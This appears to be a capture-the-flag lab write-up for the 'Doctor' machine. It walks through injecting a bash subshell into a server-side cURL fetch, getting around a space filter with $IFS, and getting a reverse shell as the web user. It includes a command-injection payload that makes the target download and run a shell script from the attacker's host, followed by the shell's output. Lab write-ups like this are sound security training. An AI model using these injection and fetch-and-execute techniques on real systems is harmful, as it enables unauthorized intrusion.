InfoSec LAB

Doctor_XSS

Created: 3 min read

XSS

XSS is confirmed to be present in the content parameter of the Post feature in the web application

While it doesn’t involve any JavaScript element like any other XSS that I have encounter in the past, it seems that the web server is designed to mimic user behavior by opening up any URL in the content parameter.

Since I assume that it is not coming from an actual user, but a background job like cron, it must be using a script.

cURL

┌──(kali㉿kali)-[~/archive/htb/labs/doctor]
└─$ nnc 80     
listening on [any] 80 ...

I will set up a Netcat listener on port 80, imitating a web server. This should be helpful for banner grab, so that I can get more information about the environment

Sending it

Notice the User-Agent attribute. The presumed script is using cURL to fetch the remote resource This is a bad practice as it can be exploited via OS command injection

OS Command Injection

Attempting a bash subshell injection

Code execution is confirmed The presumed script is likely using OS commands to handle web requests directly. That’s how I could inject a bash subshell into the existing cURL command in the target system

Forbidden Space

Attempting to read the /etc/passwd file fails and the request does not even get processed in the first place. After numerous testing, I discovered that the whitespace is causing the issue here.

IFS (Internal Field Separator)

forbidden space can be bypassed using the ifs (internal field separator)

Like so

Although the output space is very much limited, it works

Quotation Marks

I should also use single quotation marks, '', to wrap around other command elements to separate from $IFS

Exploitation

I was able to establish a connection, but unable to spawn a shell session There is likely an issue with the -e flag not being placed as a command argument correctly due to the environment being restricted

I would have to find another way to open up a shell session

┌──(kali㉿kali)-[~/archive/htb/labs/doctor]
└─$ simplehttp . 80
serving http on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I will be hosting the reverse shell payload over HTTP for the web server to fetch and execute

http://10.10.14.9/$(wget$IFS'http://10.10.14.9/shell.sh'$IFS;bash$IFS'shell.sh') This should make the target web server to fetch the payload from the Kali web server and execute it

I can see that the target web server fetched the payload

┌──(kali㉿kali)-[~/archive/htb/labs/doctor]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.209] 46048
whoami
web
hostname
doctor
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:eb:28 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.209/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:eb28/64 scope global dynamic mngtmpaddr 
       valid_lft 86393sec preferred_lft 14393sec
    inet6 fe80::250:56ff:feb9:eb28/64 scope link 
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the web user via chaining XSS and OS Command Injection

Interactive Graph View

Backlinks